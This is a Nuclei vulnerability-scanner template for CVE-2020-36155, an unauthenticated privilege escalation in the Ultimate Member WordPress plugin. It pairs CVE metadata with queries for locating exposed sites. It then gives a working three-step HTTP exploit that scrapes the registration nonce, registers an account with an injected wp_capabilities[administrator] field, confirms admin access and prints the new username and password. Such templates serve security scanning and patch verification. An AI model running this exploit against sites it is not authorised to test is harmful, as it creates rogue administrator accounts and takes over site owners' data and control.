id: CVE-2020-36155

info:
  name: Ultimate Member < 2.1.12 - Unauthenticated Privilege Escalation via User Meta
  author: riteshs4hu
  severity: critical
  description: |
    An issue was discovered in the Ultimate Member plugin before 2.1.12 for WordPress, aka Unauthenticated Privilege Escalation via User Meta. An attacker could supply an array parameter for sensitive metadata, such as the wp_capabilities user meta that defines a user's role. During the registration process, submitted registration details were passed to the update_profile function, and any metadata was accepted, e.g., wp_capabilities[administrator] for Administrator access.
  impact: |
    Unauthenticated attackers can escalate privileges to administrator during registration, gaining complete control over the WordPress site and all user data.
  remediation: Fixed in 2.1.12
  reference:
    - https://wpscan.com/vulnerability/cf13b0f8-5815-4d27-a276-5eff8985fc0b/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-36155
    - https://wordpress.org/plugins/ultimate-member/#developers
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2020-36155
    cwe-id: CWE-269
    epss-score: 0.6202
    epss-percentile: 0.98362
    cpe: cpe:2.3:a:ultimatemember:ultimate_member:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 3
    verified: true
    vendor: ultimatemember
    product: ultimate_member
    framework: wordpress
    publicwww-query: "/wp-content/plugins/ultimate-member"
    fofa-query: body="/wp-content/plugins/ultimate-member"
    shodan-query: "http.html:/wp-content/plugins/ultimate-member/"
  tags: cve,cve2020,wordpress,wp-plugin,wp,wpscan,ultimate-member,intrusive,privesc,vkev,vuln

flow: http(1) && http(2) && http(3)

variables:
  name: "{{to_lower(rand_text_alpha(5))}}"
  password: "{{rand_base(8)}}"
  email: "{{randstr}}@{{rand_base(5)}}.com"
  firstname: "{{rand_base(5)}}"
  lastname: "{{rand_base(5)}}"

http:
  - raw:
      - |
        GET /register/ HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - 'name="_wpnonce" value="(.*?)"'
        part: body
        internal: true

      - type: regex
        name: id
        group: 1
        regex:
          - 'class="um um-register um-(.*?)"'
        part: body
        internal: true

  - raw:
      - |
        POST /register HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        user_login-{{id}}={{name}}&first_name-{{id}}={{firstname}}&last_name-{{id}}={{lastname}}&user_email-{{id}}={{email}}&user_password-{{id}}={{password}}&confirm_user_password-{{id}}={{password}}&wp_capabilities%5Badministrator%5D=&form_id={{id}}&timestamp={{unix_time()}}&um_request=&_wpnonce={{nonce}}&_wp_http_referer=register

    matchers:
      - type: dsl
        dsl:
          - "status_code == 302"
          - "contains(header, 'wordpress_logged_in')"
          - "len(body) == 1"
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/users.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(content_type, "text/html")
          - contains_all(body,'Edit Profile','All Posts')
        condition: and

    extractors:
      - type: dsl
        dsl:
          - '"USER: "+ name'
          - '"PASS: "+ password'
# digest: 4a0a00473045022010607c5e1f1574595a068dd981fe7bf0270151cf19b5403a54c09706536369fa022100c18cca4724bdd19cfee7ceb3a16bec81d424463954f106fbdcdc38ea98544bb7:922c64590222798bb761d5b6d8e72950